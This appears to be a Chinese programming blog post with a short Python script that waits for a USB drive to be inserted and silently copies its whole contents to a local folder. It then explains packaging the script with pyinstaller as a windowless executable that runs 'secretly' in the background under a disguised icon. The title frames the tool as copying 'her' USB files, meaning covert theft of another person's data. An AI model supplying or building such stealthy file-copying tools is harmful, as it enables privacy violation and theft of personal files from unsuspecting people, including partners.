仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
pyqt4教程之实现半透明的天气预报界面示例
Mar 02 Python
分享一下如何编写高效且优雅的 Python 代码
Sep 07 Python
基于python实现在excel中读取与生成随机数写入excel中
Jan 04 Python
对python中执行DOS命令的3种方法总结
May 12 Python
Flask框架钩子函数功能与用法分析
Aug 02 Python
对django layer弹窗组件的使用详解
Aug 31 Python
Python自动采集微信联系人的实现示例
Feb 28 Python
PYQT5 vscode联合操作qtdesigner的方法
Mar 24 Python
pandas实现导出数据的四种方式
Dec 13 Python
Python3中的tuple函数知识点讲解
Jan 03 Python
Django REST framework 限流功能的使用
Jun 24 Python
能让Python提速超40倍的神器Cython详解
Jun 24 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
PHP 判断变量类型实现代码
2009/10/23 PHP
php数组的一些常见操作汇总
2011/07/17 PHP
PHP判断密码强度的方法详解
2017/05/26 PHP
实现变速回到顶部的JavaScript代码
2011/05/09 Javascript
javascript温习的一些笔记 基础常用知识小结
2011/06/22 Javascript
JavaScript单元测试ABC
2012/04/12 Javascript
兼容所有浏览器的js复制插件Zero使用介绍
2014/03/19 Javascript
使用jquery中height()方法获取各种高度大全
2014/04/02 Javascript
Jquery 实现table样式的设定
2015/01/28 Javascript
一张Web前端的思维导图分享
2015/07/03 Javascript
浅谈JavaScript的Polymer框架中的behaviors对象
2015/07/29 Javascript
深入理解JavaScript中的预解析
2017/01/04 Javascript
用jquery的attr方法实现图片切换效果
2017/02/05 Javascript
vue+swiper实现组件化开发的实例代码
2017/10/26 Javascript
记录一篇关于redux-saga的基本使用过程
2018/08/18 Javascript
一个Java程序猿眼中的前后端分离以及Vue.js入门(推荐)
2019/04/19 Javascript
js实现蒙版效果
2020/01/11 Javascript
vue el-tree 默认展开第一个节点的实现代码
2020/05/15 Javascript
ng-alain的sf如何自定义部件的流程
2020/06/12 Javascript
小程序自定义弹框效果
2020/11/16 Javascript
Python程序设计入门(3)数组的使用
2014/06/16 Python
在Django的URLconf中进行函数导入的方法
2015/07/18 Python
python中对数据进行各种排序的方法
2019/07/02 Python
Django框架基础模板标签与filter使用方法详解
2019/07/23 Python
python+opencv边缘提取与各函数参数解析
2020/03/09 Python
浅谈matplotlib中FigureCanvasXAgg的用法
2020/06/16 Python
python中random.randint和random.randrange的区别详解
2020/09/20 Python
Python爬虫自动化爬取b站实时弹幕实例方法
2021/01/26 Python
国贸专业的职业规划书
2014/03/15 职场文书
企业标语大全
2014/07/01 职场文书
2015年服务员个人工作总结
2015/05/27 职场文书
Python爬虫基础初探selenium
2021/05/31 Python
在Python中如何使用yield
2021/06/07 Python
教你用Python matplotlib库制作简单的动画
2021/06/11 Python
青岛市的收音机研制与生产
2022/04/07 无线电
Python Flask实现进度条
2022/05/11 Python